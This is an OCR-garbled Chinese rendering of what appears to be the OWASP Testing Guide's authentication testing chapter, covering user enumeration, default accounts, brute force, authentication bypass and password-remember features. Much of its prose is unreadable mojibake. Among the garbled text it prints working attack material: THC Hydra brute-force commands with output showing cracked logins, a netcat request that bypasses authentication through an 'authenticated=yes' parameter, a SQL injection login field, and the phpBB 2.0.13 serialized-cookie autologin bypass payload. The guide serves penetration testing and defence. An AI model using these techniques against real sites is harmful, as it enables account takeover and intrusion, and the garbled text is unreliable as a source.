FEX B i — M1, BN IR AT GET TPk At o X Fh 5 1A N A2 HY T A S U Bl i) 2 5, JH P 44 70
WD, BROAARATWISC S RAE URL Y, TR 2 — B i e il fle. T DL 7208 Je7sit e (HAEBLSE R, Jfios
U] POST Jridie IXJEMAN G H] GET Jiik, "EUERIT URLRA L fER S a8 HS A 21, - EUgUE S
T -

GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1
Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;q=0.7,*;9=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: https://www.example.com/form.html

If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT

If-None-Match: "43a01-5b-4868915f"

T LU 2R AR URL R BRSO AR, AN B2 AT IR BRSO . HoE, JRA 25 & 21 TLS / SSL 2
R s G, B HTTP AR ANEEg. IR HEAS HTTP QAR AN i) iy HL AL A REBEOX A URL. A4 URL Y
G BT REREAAAE IR Z RS2 h,  WARERARSS 25 A Web JIR45#%, M 3 B0 F Pl 1O Bafh, BT AR IX Se %
IR GET JHikANE —MFINE.

R S 451

TR I TF R AL T AT 15 2% &S] HTTP R HTTPS B as i) 22 AN T Ad A AT 1 A A K A8 HTTPS A&k
fald.

SRJE, AAATT e AR A R NMBURME S AL AR T HTTRS, BRI, BART I R Z BRI 7 T LA
B -
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HEH

e  HTTP/1.1: Security Considerations - http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html

TR

e  WebScarab

4.4.2 HI P #5038 (OWASP-AT-002)

XTI F L O T 36 75 A n] Be e 5 W A AEAL R EL A i S e 2 AT R ™ o IX IR AT 28 T
BRI R A BA TG0 R N A, R LR B (585 . S OL T, A A
ARGEPAAAERT, T UG B BB A B 10 S5 DA 3 SO PRSP e A OGS . B, AT, A ERATHRACH BRAE S
I, AR 2 U P A A AE B A A R A B o A R 4 15 BRI 5 B At w] AR A RAT— R IR G H
o IXAME KL RT LUK BT web NEHTRRFR . Bildn, 871 28 0 i s BRA ] ) 44 3 i Bt

i) LA i

DA Y 1%
FEIXAN 1)
s

I N R IAERLHRISC T, SR Tl SR RIS SR I e T 2 e N R P iR AN R 5 2R 2 BT LAY
RPN BA TR N A AT A0, web W TR web JiR 55 & 23 s AN [ A

FEREEROL T, S Bafatth T T IER00 P A s ses iy, SEGLBET . A A 1T BUE A ik
H P A8 S S A A DA I AT L

PRI 5 1]

FERGWRE, RADEAFIE RGN AR, H 4, ARG R R, s E R Bt .
RN IR P A AT, BA TR ELRL BRI AS B R B B, BEMER 25T B THES A 1945 &

HTTP Wi B 45 &

BRI P/ ERE RS

MARFEAZ G D RGBT, SR 5525 s B

SR

{811 WebScarab, 1 B A UESRAS HUAFE KL (HTTP 200 1R, [3] 8 (K1 ).
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FERII A 155 DR B R B

SR ANATBON S A R, s R AR R R
HHSR

FATTRE A LA A RS T IR A7 S«

Authentication failed.

Return to Login page
e S VYN

No configuration found.
Contact your systiém ackm astralor,

Return to Login page

AEAR4E R A AE A BB T

) foo: BRI

{81 WebScarab , VER A BRIIAEFTIRAGHIMFEE CHTTP 200 [FIN, [RINHED .
AFAERI P 2R

BUAE, M 2 mA DN 1D A AR R, JFIC R A 012 (IR 2t i AN 2
D o LR IERAE ARG A I S

HOER
R IRV ATC R 1D, BATRT DR — 203 R ABL T

This user is not active.
Contact your system administrator.

Return to Login page

LIES VRVIIEYSY

R foo BRI = JoRIIK 7
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—RORYE, RIANFE I BRAE R, IR B RTRE AR R R R AR R A B . W SRR [P (5 B A AR, RN
R B P80 2 AR P45 R ARAS S A il

o HIMESK: AR SR RS AR NI E AN IR
o REMIER: HRREIH SEEANR- RS R H P A

W EAER, P RERIE S RUER I MR A4 DL, Sl U R B A SR R E R
FATHRE T8N HIFEF o

ML R AR MR S RN, BATTFRE AT EARBE PR O A A AR DG, ) RLATRIRE I 595 Tl R, I
A MR S5 A N B — R AT RN 1D B

e A~

TATAT LA JUR Oy S 2 e

ST BRIV HIH RS

AT LA AT 16 Web I AR 73R [ () FE ey s AR e 6L
3 P BT P 1L 55 A4 1)

Bilan

http://www.foo.com/err.jsp?User=baduser&Error=0

http://www.foo.com/err.jsp?User=gooduser&Error=2

M BTl UG, S /N 1D RIS Sk web RIS, URL A7 it B HHIRAR B (045 L. 7ES8— A1
TG AR K 1D RS SR, TR SR AN AT R IERR K T A AR RS . BATT Rk R A
AR 1D,

URI 831

AT, Web Ik 55 2 B B H S BOSRAFAE H XK IER I, ERPIAFKZR. B, £ 280 ks
JUE A HSRITH ORI AR BATT 20 MU BAT I H %, BATRT USR] web IRd5 etk FATBEIR)—ANEH
WL Web IR S5 d 1R 2 -

403 Forbidden error code
DY
404 Not found error code

R
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€

http://www.foo.com/accountl - we receive from web server: 403 Forbidden

http://www.foo.com/account2 - we receive from web server: 404 file Not Found

RGO AFAE T AR EABE R T, B AP DU 44 “ account2 " ANEAE . I WCARIZ LS R, ATt rEd A
M 4

M AR R 2 AT

FRATAT LAAE P BT AR S 20 T R R o T H P A M g el /L, AT T T REIE 1o o0 Db il 45 21 B AR (R
A EAE R B, R REE Y R IAE,  JRAT A BISABLR ) 199 5 A

TR

TER G A KR

TR R DR IRB R R

MPAE I DIRENS,  AAAEIRI I N I RE R [ 2645 SR B P Ao A7 AE
(LIPS PID N EPSE

HRIH 1 % E-mail HHEAEEBOETA S S H

TR P 40 PRI B0 O B R O% R BT HG) 408 SR AR B

HBEATITESRIG ) AL H FRAMEAER . BADEASTERAE] 404 HHRACS . FATRT REWC R HAT I B 202
OK” {5 &o FEIXFMEHL N, FATHT MBI BRI R LRI, T 2o ANAFAE . RG] DUEH] e
Web 55 5 Wi N X R T BeAT B T3 1 web JIR 5545 A1 web W45 &

Kt

FEHAERE DU, FIJ™ 1D @R BE 5 ol =) AR PR R G . i, BRATTR] LU A P4 S R R 1D &
B

CNO000100

CNO0O0101

I, RS REALM 51 44 415 B g 1) «
R1001 — user 001 for REALM1

R2001 — user 001 for REALM?2
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L P ID 1 shell BIAS -4 5 wget IXAEH) T 224K, Wil B30 E&# web 8247501 1D ZAlHE-—
A, AT AT LR Perl A1 CURL.

[FFF, i LDAP A3k 13115 BB Google AR R HRF e 344 015 B, AT LUFM B - 44 . I e i 2
Wk 21K shell BIASEE T B, Google fE Mk #5Bh &35k 1,

FLEHE AL 10 BA5 BPERE IR, 453 5500 Gl HI bk i

TR AUk R, FESE IUE SR RIS G TR IR R A IR BB i fa k. Bt
B, AT I HIRE 17 35 (R 3h 2 U W] REZE IR ) 1P ik
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W

e Marco Mella, Sun Java Access & Identity Manager Users enumeration: http://www.aboutsecurity.net
e  Username Enumeration Vulnerabilities: http://www.gnucitizen.org/blog/username-enumeration-vulnerabilities
TR

e  WebScarab: OWASP WebScarab Project

o  CURL: http://curl.haxx.se/

e  PERL: http://www.perl.org

e  SunJava Access & Identity Manager users enumeration tool: http://www.aboutsecurity.net
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4.4.3 BONBCTT S5 (3l ) H Pk ' (OWASP-AT-003)
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B ltn, “If username='admin' then starturl=/admin.asp else /index.asp ” (I EFHRMESR) . It
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Yo F A N R TN R We 2 G SR FRE Py B S 42 JRORT 000 1) P 4 5 e B ik, 491
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e  CIRT http://www.cirt.net/passwords

e  Government Security - Default Logins and Passwords for Networked Devices

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php

e  Virus.org http://www.virus.org/default-password/

TH

e  Burp Intruder: http://portswigger.net/intruder/

e  THC Hydra: http://www.thc.org/thc-hydra/

e  Brutus http://www.hoobie.net/brutus/
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4.4.4 FJ7 %D (OWASP-AT-004)

ik

B IWR AR RGBS AT W RERTT 5, R AR SR TR G IR R HE. fE web NI, Bl
T TGS PR ] ROUAER 5 e 7 M RO BE NN B N e DRI, FRATT R A AN RIS A 1) By B UE A SCRIAS [ 22 )
RO A B (R 200K

IF) L 4 ik

KZ K web N HIREFRME T —MEM ) IRIE A O TR IS G B G ORI, Btk f e 2 A
IR AN R SR IR AN [T FR 5 R o P n] AR 22 B 0 R AT, i, AR PO,
OTP(—— IR IE# ) (AL UESE o (HUZAE web NI BATE R AL A 1D Matg ¢y Ik, W AA7F2 (Bl
Bkt ST Al REM I A AT G, b RERS AT RO T A R

S AR R SR AT DL
o BLERVERL R

o Web NHFEFINAR AT vl e gl St T N NSO, W 5IR0L,  BRAT IR TR0 3%
kL PR R, 5.

o EPHMIN

o [ B BB H AL RS P ACE B (B, BRI web N IRERFRON A, BRI
B, AREAF KBRS

o PRALHE D IEGT A

o Web WL TTHE S il RERS BRI K 1 sl 3T 6L B AR B4 R A P B SERER D R -

PRI 5 1]

DR B A ] (R BN T SR A I D0 2557 P LA, Y BT ASE P BRI SR 2R 0 R AN [+ PR % 7 B A e A 42 G
LA -

RILBAETTVE
USRI E M NI M2 S AR IR, T T2 P AN B IR 5 s

e HTTP IAIE
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€

o basic #ANIE
o digest ¥ N IAIIE
o HTML R 5 KiiE
PUR #4247 — LU AR 1) 90 Rk LAAE PR Ut o e A FH R 38 UE LA o
HTTP AiE
0] LA S SRS FEA ) HTTP 17 17 KA1 7R —basic H1 digest.
e basic #AIAIE

basic #: NAIF B &) B4 (Ul“owasp ” ) FIZ5iE (Ul“password” ) #iE H OHy. 2% iml Yo 28 T 4h
HEAALTHIXFIHLEI s, web RS540 RIS 401 4550, B “WWW-Authenticate “Fr%%, “Basic” {HAISZLRY"
JEREZFR(BIU:  WWW-Authenticate: Basic realm="wwwProtectedSite”). %%/ 4t ¥l W28 w2 IR [F145 web JIR45 25—
M“Authorization” #3258, L5 “Basic”{HAIH J7 4 ) base64 4wtd, B 5 RIZAL(H40: Authorization: Basic
b3dhc3A6cGFzc3dvemQ=). HE U R I LR BN, WL [P S AR A 5y At REw A

RN EIATIER
1. i AL BRAE ) HTTP BT K«

GET /members/docs/file.pdf HTTP/1.1
Host: target

2. Web Ml 45w RN 350 BT 23K 1 8 YA T — AN S2 PR 1 H %o
3. 45 %5 F HTTP 401 75 BEFZAUAC I Y «

HTTP/1.1 401 Authorization Required

Date: Sat, 04 Nov 2006 12:52:40 GMT
WWW-Authenticate: Basic realm="User Realm"
Content-Length: 401

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

4 0 V2 7 FH P 44 R T R i N R R
5.2 ) s A IR THIE - EUH AL HTTP 3K

GET /members/docs/file.pdf HTTP/1.1
Host: target
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Authorization: Basic b3dhc3A6cGFzc3dvemQ=
6 SR G AR P R S IE B AR XS

7 RAEAS AT RN, MR S5 AR AL P ER KA R WERINUERIG, IR 55 SR AE RN S JFT A8 HTTP ARZSHY 401,
WA RGO, WA PR B — AR R L

W BGE Bt VAR FOD TP I FE0E K, T fiH.
b3dhc3A6¢cGFzc3dvemQ=

o] GE A BAMEAT base64 fi#fiY, #NF (HEAT Base64 fifid)

owasp:password
e Digest FEIAIIF

Digest & AL basic A VAERIAE . A H] H [ AN A ( MDS 4D RN A IR, JH8m 1T —
AN HT web RS BCE AR ATH] N T B 0GESD 1 “nonce”{H . &) 3 bt B 3 HY X AME VS [0 2 PR 0 A5 255
SR FRSAE RDINE O BGE A, R nonce (B REFHLEFBGE MG K, (HZ 8% 402 I SCHR AT .«

TR SR S K«
1. B3~ & $EAC HTTP Digest H AR A A1) S M AR SRR &L -

HTTP/1.1 401 Unauthorized

WWW-Authenticate: Digest realm="OwaspSample",
nonce="Ny8yLzlwMDIgMzoyNjoyNCBQTQ",
opaque="0000000000000000", \
stale=false,
algorithm=MD5,
gop="auth"

2. [t A G S B Sk AT

GET /example/owasp/test.asmx HTTP/1.1

Accept: */*

Authorization: Digest username="owasp",
realm="OwaspSample",
gop="auth",
algorithm="MD5",
uri="/example/owasp/test.asmx",
nonce="Ny8yLzIwMDIgMzoyNjoyNCBQTQ",
nc=00000001,
cnonce="c51b5139556f939768f770dab8e5277a",
opaque="0000000000000000",
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€

response="2275a9ca7b2dadf252afc79923cd3823"

HTML & S

SR, VB IX AN HTTP j i) B E TRl BE 203 15 TLIR R I Ak g, I ] sSL s &1, VrZHLIE 2
TEFE T A FE S HTML RN R IR IERE Sy, DA it AN BE R 2R IAIERE 7 o

M HTML 3R 545 3 FEARRS -

<form method="POST" action="login">
<input type="text" name"username">
<input type="password" name="password">
</form>

e VI G
FIT web MR RS IAN RSB 0 S AR JAETT 152 S, FRAT TR ARE T LA 5% ) At 2o«
o MU

i Bt A ds H AN AIA AT T, e TSSO b SR O o AL R i o 6 S SO R AR Gt o ) LA LA 5 iAo
S FH P A R ] o T I B B i) F br e Bl B mT DOBCER AR B L 30 /4l g, sedefigh, Bisk
T, AR TR NI TR BT A W 3 23 A R R R A

o UL

FRBGH R RS ITAT SN P AT A QR A K BB (T RE 2L 5o i T RTREAD - B 28 AR K, S E0X R
Aot EH S . Hlin, S M D, FE I E KL 8 MR, X /NG T RHA G A 26 A
(8!) CHIE —TFALAmrRestE! )

o AT RIGE

KT BB A ) 1) 7 G 3 TR [N AN 23 0 gt R PN, P T i 0 3 (R R = A= R P psaE N Billn,  “Johin
the Ripper” ef% I 443850 7 A2 B 60 A8 Ak BAS 5 N TP I TS G B I 25 777 (N, 28 ——%8 "pen” --> B %%
"p3n" --> FH=#2"p3np3n")

B IR HTTP ZE AR

raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com http-head /private/
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2009-07-04 18:15:17

[DATA] 16 tasks, 1 servers, 1638 login tries (1:2/p:819), ~102 tries per task

[DATA] attacking service http-head on port 80

[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h

[80][www] host: 10.0.0.1 login: owasp password: password
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[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 18:16:34

raven@blackbox /hydra $

2 I HTML R BIAE

raven@blackbox /hydra $ ./hydra -L users.txt -P words.txt www.site.com https-post-form

"/index.cgi:login&name="USER"&password="PASS*&login=Login:Not allowed" &

Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org)starting at 2009-07-04 19:16:17

[DATA] 16 tasks, 1 servers, 1638 login tries (:2/p:819), ~102 tries per task
[DATA] attacking service http-post-form on port 443
[STATUS] attack finished for wiki.intranet (waiting for childs to finish)
[443] host: 10.0.0.1 login: owasp password: password

[STATUS] attack finished for www.site.com (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-07-04 19:18:34

raven@blackbox /hydra $

OWASP iR FE T v3.0

K A AR S5 451

HR I R T BRI P AL BERHK Fn IR

HIAEAT KL S O SHIIAOAE RN, b RENS i al e DA AT 28 Ty e ety . S B, SR FR A

R

P AAAR B it

(CTORSEFEARTIPSE et A TE L 310

Target [127.0.01

Connection Options
Port |30

HTTP [Form] Options

Method |GET = | ¥ Kee

Authentication Options

W Use Usemame [~ Sirn

Uszer File  |users.tst

Positive Authentication Results

Corrections ™ | 10 Timeout T : 1
g Brutus - Brute Force Generation ®

Target

Type |HTTP [Form]

Min Length |0
Max Length |6«

& Digits only
" Lowercase Alpha
" Uppercase Alpha

Start

[ Use Prosy

Stop | Clear

todify zequence

" Mized Alpha
™ Alphanumeric
" Ful Keyspace

" Custorn Range |etacinsthldcumfpguwybykxjgz12345675300

Bl

]

Located and installed 1 authentication plug-ing
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PAT AR BT, A 22D 75 SR HTRA 0 — NN hash 3565, XA 2 i 4 3 2o 0k ) P 2 P ) s
(i sQLyEN) BRI HTTP SR BN BUAE, X WIS AR TRALR . UL PR kSR ) 7
3%, EEER TR hash o AR R PO R SCE T .

AL IE Hellman (AR ECE I O0AL . AERULER T, AT DUE T2 e S Qs ik, AT vl LU & b oS5 T A 60k
B A i B

HARLTIER PrElEE R hash Dfig, B, MDS5 4t X RERIA ) MD5 Hash.

Ja SR I R ELA BE s K I RE R R A SR TR B 8 7= A= R F R LR ) - T P A 4R RN 59, 445 LM hash,
MD5 , SHA1 %%,

7e39bcch151b24992a235cd665d4aalh wraiting 2006-11-11 10:45:31
0696eeaffo5bfz105bobef6d93ac73an waiting H T 2006-11-11 10
db549bad18aabe&ad07aa3dd33dd4dic wraiting 2006-11-11 10
70c%echd2512460fad6 1de253th3d7cbe waiting 24 2006-11-11 10:22:
c32cfogodabadiedilazaf347ac208188 processing3 i 2006-11-11 10::
cife5&5laffidabdedaiZzedzbiz3304f processing 3 24 2006-11-11 09:°
a79c879d28c5cBad4707d52bbaa57607f cracked = 45:4 2006-11-11 09:"
a79elc64d27737e3f059ab6a56b41c650 processing3 2006-11-11 09
2ef5bgbleeced3568al1126bb923664057 processing3 3 2006-11-11 09
e53cc072934b25e45dc273cbhc342556d processing3 1 2006-11-11 09:48:
d38ad0e58c9525243F492161b87400a1 htmaldb cracked E 2006-11-11 09
d9z26dbaeb7fact7612ecZ2 19F7F172610 processing3 1 2006-11-11 09
Fcf2483ced 1768308584987 7 134Rd50c processing 3 1 F 2006-11-11 09
377asfs027 1a6f920dfoedaat4d1029a bombi cracked 2 2006-11-1109
$5d95e2ad51bfcd3d6d352486fbe2760 pupsi cracked 2006-11-11 09
96bc2c727049b5dce27bdib9esb264bf processing3 1:1 2006-11-11 09
#aalzbbde69504bastb942726bad7623 notfound : 5 2006-11-1109
Sce ld3097 4996344876762 2elcad160f 28264451 cracked 2006-11-11 09:

=  Philippe Oechslin: Making a Faster Cryptanalytic Time-Memory Trade-Off - http://lasecwww.epfl.ch/pub/lasec/doc/Oech03.pdf

=  OPHCRACK (the time-memory-trade-off-cracker) - http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/

=  Rainbowcrack.com - http://www.rainbowcrack.com/

= Project RainbowCrack - http://www.antsight.com/zsl/rainbowcrack/

= milwOrm - http://www.milwOrm.com/cracker/list.php

=  THC Hydra: http://www.thc.org/thc-hydra/

= John the Ripper: http://www.openwall.com/john/

= Brutus http://www.hoobie.net/brutus/
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4.4.5 PAF 2 i (OWASP-AT-005)

Mt 2
AR K 2 BB e BEAG IER IR IR N A BB TS5, AEIRAR DA SR VA AR RE S S I AL s (1 22 4

A i A bk 6 SR T AN LA R A BN AR VIR I )5 A B VT 1) 1 N B T, At e] LSRR AR TR XM E
o TN 2 A U B2, TG B AT A B

BeAt, AT DA I B SR SR ANMECR T A 6 R (K TR G A i il IX 28w U B URL 24, IR AE S
SR TR SE

i) 7L 4 i
B UERSE AT SR 10 U AE TR AT R A1 393 (SDLC) th iR & AN B BE, ek Bir B, JF R B, #8286 BL o
BV BUHHR (07 0095 10 R (0 S PR P 85 2 B B R S, BRI B30 AT 0 1) 22 e AN R E s m 8 B i3 55

Iy
&,

TFRE BT B ) A E, AVER R IIEDIRE, SO E T T AN R A I

BEAh, BT EZ R BORBRE SR T TR R SO BCRAR T, SR N IR 2ok CARNIME BT 2D il
SRR

PRt S 4]

Zexl Web N B IESM I JTVEA -
o BEEMTUMIGER (SRiE )
o ZHEN
o ZHETL

o ZX1f 1D T

e SQLVEA
HER AR

SR> Web W FRE P SR B SR DU S BT P, I8 K BATT T ASEIL B A 28R o o, G R P 3o e 3
EARENTCE I, A% TE R R N R] BE TSI A TAIE A5 o Am] LI R o) g 8 v pg e A il B B4 U ) %2
TR BT, Rz XA %
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A\ »' Owasp Testing Guide Browser

File Modifica Wisudlizza  Wai  Segnalibri Strumenti 7

— —_—
@ - = - g 9 @ [ http:uuplnad.s.te.ctmfusersmdm.msnamr

52 Ultime notizie

3575445811a2b604a42d8d66d73a3359E
1344=06df37bbhaad9as1bie?7aG7adld

2 Password hash

1

1
1160776693
en

Completato

j @ vai ||Q_

o5 AR BT 9% 14 B AT K RGN T AR — AN (L S HOESE AR RSk« )7 a] Ul 2 X 2

SHAE AT IR HEESE AN DU R BEAR RS XSk o 72 7F T 1,

“authenticated” ¥ HEKA “yes” , X

M REREIEN . FEIXABI T, SEAFAET IS, (FUZ FEREAT DOR AT ACE IR 35 22 OB 8, Frdilie M 2 50

POST LR T AL .

http://www.site.com/page.asp?authenticated=no

raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK

Date: Sat, 11 Nov 2006 10:22:44 GMT
Server: Apache

Connection: close

Content-Type: text/html; charset=iso-8859-1

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>

</HEAD><BODY>

<H1>You Are Auhtenticated</H1>

</BODY></HTML>

| » Owasp Testing Guide Browser

File Modifica Wisualizea  Vai  Segnalbri Strumenti 2

h_;l Ultire natizie

You Are Auhtenticated

Completato

= —_—
<:\::| 5 LDJ he é‘,j &3 @ | hittp:ffuen. site. comfpage| asphuthantltated:yasl j @ vai “Q,

£ 1D TP
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V%2 Web N PR 2B 8E . (5316 10) BHIGE. Bk, WER241E 10 i A2 nf AU, T8 LB -
BLREFR R Bk 2 il 1D AR5 T LR BUBIE NN RS, B e SE S i R uE A

FE NI T, BUEAE cookies W SEZMENEIN, Fr AL AL M — DGk M4 1D,

Cookie values over time
050000
.
800.000 | - ..
.
"
880000 ¢ "
.
-
£00 000 L ]
.
-
430,000 1 i
.
-
400,000 | -l
.
» 350000 ..
B L]
g 300.000 | - .
.
.
2800001 "
.
.
200.000 | - "
.
-
.
150.000 { .
-
.
100.000 { -
.
20.000 | o
w
"
..»?t-zrow HARITA0 14TIWO00 143N A00 143020000 143320500 143330000 143330500 14IIA1000 4IIINE00 42000 14332 4
DatefMime

FE T E T, BAEAE cookies W HR A AR, B AR TR A2 77 vl e FHLLE X SRR 7B 2 D e et

Session Identifier : |12?._I].I].1M.-‘l_ahGuat WEAKID
Date i Walug

20061111 143327 12430{1163252007 025
2006M117 14:33:27 12431{1163252007135
200671111 143327 1243211163252007 247
200611171 14:33:27 12433{1163252007 435
2006M117 14:33:27 12434{1163252007544
200671111 143327 12435[1163252007 653
200611171 14:33:27 12436{1163252007 763
2006M117 14:33:27 12437{116325200787 2
20061111 143328 12438{1163252007 984
20061111 14:33:28 12439{1163252008091
2006M1117 14:33:28 12440411632520052008
20061111 143328 12442111632520053108
20061117 14:33:28 12443{1163252005419
200611711 14:33:28 124441163252008525
20061111 143328 12445(1163252003 635
20061117 14:33:28 12446{11632520057 47
200611711 14:33:28 1244711163252008857]
20061111 143328 12448{1163252003 966
2006M111 14:33:29 12449]1163252003074

sQLAEA ( HTML FH9AE)

SQLEENRE— B0 NFIRI B BT o JRATANSAEASTT R PR Rl X BB 1A VG, AT v s A LA
T RREE AR

135



& Goat Hills Financial

1  Human Resources

[ ol
Please Login
Larry Stooge (employes) V‘
Password

N AR, Gl R SQL M AAT W it B 3 SR A

Intercept requests : Intercept responses: [ |
Parsed | Raw |
Method URL Wersion
POST | [httpir1 27.0.0.1:80/WebGoatattack?menu=610 | [HTTPA A
Header Value
Host 127.0.01
User-Agent Raven Web Browser
Accept textivrnl, applicationxml,application/xhtml +xml texintrl;g=0.9 textplain;q=0.8,imageipng,*,g=0.5
AcceptLanguage er-ug,eno=0.5
Accept-Encoding uzip,deflate
Accept-Charget 150-8859-1 ut-8,4=0.7 *,0=0.7 Insert
Keep-Alive 300
||Praxy-Connection keep-alive Oglele
Referer hitp:/i1 27.0.0.1WebGoatattack? show=PreviousHintémenu=610
Cookie JSESSIONID=01D8C5565AC590D7612D0D1BCDAF 21CRB
Authorization Basic Z3VIcIQBZIVIc30=
Content-Type application-win-form-urlencoded
Content-length 38
T e e T
URLEncoded | Text | Hex |
Variahle | Value
employee_id 101
password W= SGLINJECTION Insert
action Login Delete
O,
Accept changes I Cancel changes | Abort regquest ‘ | Cancel ALL intercepts

K g A S 451

I RGeS A I SE B AL IR (o H s ), B Web B OTRUEEAE) U IR P OUAHS, &R
508 B 4 B IE e o 5 P R PR Ll o

L FHEIH T C PHPBB 2. 0. 13-IGUFZEit es5fk) , 7E 54T unserialize () ZE0HTH P #E4LH) Cookie FH4E
Srow array FHEITIRAE . 76 10 A7) 1K) md5 B0 S H H A TG 6 B0 A .

. if (isset(SHTTP_COOKIE_VARS[Scookiename .'_sid']) | |
A
. Ssessiondata = isset( SHTTP_COOKIE_VARS[Scookiename .'_data'] ) ?

. Ssessionmethod = SESSION_METHOD_COOKIE;

1
2
3
4,
5. unserialize(stripslashes(SHTTP_COOKIE_VARS[Scookiename . '_data'])) : array();
6
7
8.}
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9.

10. if( md5($Spassword) == Srow['user_password'] && Srow(['user_active'] )
11.

12.{

13. Sautologin = (isset(SHTTP_POST_VARS['autologin']) ) ? TRUE : 0;

14.}

7E PHP 1, PP AT /RME(L - "TRUE") I LLESE 2 “TRUE” , FRBALL R A58 (EZH D “b: 17 ) WAl
fiezent userialize () ZEAUFIE I

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

= Mark Roxberry: “PHPBB 2.0.13 fii55 %"
= David Endler: “£:i% ID JFR 5T - http://www.cgisecurity.com/lib/SessionIDs.pdf

=  WebScarab: http://www.owasp.org/index.php/Category:OWASP_WebScarab Project

=  WebGoat: http://www.owasp.org/index.php/OWASP WebGoat Project

4.4.6 0 S0 R0 E 59 0K (OWASP-AT-006)

RS

WARA L T HOREE, K2 web W HIREF SLvF W B E S, W N R 24 ) AL S A A
T IR/ BB SRARAT I E— AR A a7 o RN, AT I IR A i S T ELA AT
DB G AUER G I AT o AT A Y TR A2 75 SOV AE D e Th Al s i C “id (B 7 1)

BE) o

i) L4 3

KZH Web N HIREFP4 TP RO T AEEIC B A M D0 R $RIA] (B ED SRS Ihhe. MO NI FE 7 A0 22 4 2R AR
AN IZAN DR R St R AA, ARX— D fe B R ML E M IMEIR I 5y Forp— AN R (R
HOLED IS ) e - mail dihik, AR IHERS (B—ANEED Blizdhl. okl i a2 s
R WP B 52 B T Bl — B AE g 4.
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€

o (BRI Ay, NIRRT RE S BRI A el A R R, T R AR A AT RE A ) A
F PPN XA AR T A T G ) AR GEUE ] B O I ) AR B S A A SRR AT 2

B, — M AEEAZ AR R R L “CEREREISITZEIR” o POABEE A RAE S i amx —F . “RERI
HEEN” IR B A R R, DU SR P 44 e M m . Bt ERT TR AR 210X — s R 25 56 4
ELA P A o

I FIRERR O T o8 PSR A7 A H R AEAS s (ERD T mbLas 1) A7, JFERLS T A DA 44
AN TR o BRI R Ui M ARH A K Ehae, (e RN GIN T, DO AR R & i i ARA 5 it
AP

P I X N 6 R S
FHEE

bR A A TR [, AN ) g A i T LA AR R S B Ak A (AR R R )
Y] 1OO%AH 5 IS ML btk (18 22 4 o (LIS SR i 2 5 oy ) 22 7K v AN TE S

T U TR L, R DA R

Ho, EEMEE TR LRI 2 AN ? K2 H0 MR RO R BRI AS R, E SRR N R
J7 3 TSR P TR0 P15 P A m B 2 1 )

Hk, BAVTFEDHIEA G . WH D AREERGRM T 2D R OB d# R Mk, BOVIXH
4 THAERE AL . T A O, B E S a] DU ] AR R AR et oy TR AR BT A 5. 1
NBENRA, EOPEE R TR D5 XL 3%

o REMAZAREIRM 2
o WA, EEARIESE MY CATE” BRMIA . B, SR A A RE Ak 2 S )
o RVEIERE LU SR, AR TR B E RE AR B Rk

o  AHATIRADIEIUK W, W1 “IRIVE AR L7 5 A BB LR 2N B 24 e 2
I FLAR S G ol o eSS ] B B AN T B B SRR A

o A Z ORI CHRWHERITD
o AT SCVFICRIR I i A ?

o fENMAIEME S G ABuE g ? icl, —MUE RG] e — g a s, Koy BRET
LURI I E R 7 A st 2 25 et o

o AETORT BRI 2 ML S 2 1 1R AU T R A R BE IR B 5

o ITEE A (— BRI RE A RS 7
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o R AV S ?

1

|
m
=
=

~>

7

O
i

o JTATREE AL ARG T S F s ik ?

o AT UIR S EE TR SR me, RMRERE G RIIZIK . BRARN Rt T
AR EVERMFER, BZEEASREE M /AR DA .

o MM A I B SR A BB T RAR AL SZ RN SOt /i K i . BURAVECER — RS U8 £ 2
i, e R AL s 0] I BUE SR

o IRUF AN H T S IS S R A kR s b AT R R IR
B AU EAT T AL I AL PRI (BRARNIREF B2t R0 i HoA 7 #H A BEA N
T Y0 ZURE AR XA WIS 7 o

A AN G i 15 P B R ORBE 2 R B R S A3 B RN R B8 AR5 A AT 25 5
W] LA HRGET AR b de A7l RERISS IR SO0 1R e e 58 il Rt i o R T e T L e A D R O P Ty PR
VLY, RS R DL SO U IR, XA R B AEAE > hash Rrh, XAGMOSRE Mia
[P
AR
“CUAER S BURI AL S E L S
1. fE Web JISEEH ARVF “ZAFTM” Thfg. BRI IIREAE ELEAEN IR b, B n] LA BN % 45 o
2. {E cookie TKALFH . HMLAEA /I, AR BISOBAKIL.
RTH—RTE, RN I HTMLARES, B R 7 0 A A B A D RE DA o ARSI 3 2 LT

<INPUT TYPE="password" AUTOCOMPLETE="off">

IAZEE R E S BBl 5e e, R R AEBURII N R b e PR Bk 2 i SR B e SRAG WA I 247, T LURA )
MR ST O TSR XA Bt — AR BB 1D o A s =Rt 7y SO A A A e N TR e b
1) cookieo i EA2 LAHLS s sy AR SO Ak RIS A UL G SR IS AR BT Jo R 140 - 181 £k
5 IS, 2 88 S 7 AN i P RO o 50 2 A ] — 28 L A XA B8 B O 15 5 TR . BbAh, A A e
SKBYBCA S BORUEAS, TANEE RN I RE iR — i k% .

R S 451

SR A S TR P M HTML ARG SR 45 20 i IR D RER P o G A b RRE AU W — (AN ] P 2
EXS cookie FHBNES R 5 1) o T IZA il R AT LA FHAE - Cookie 14 i 96 ik 47 il 7 (4 R4 K A MK 73-HT o
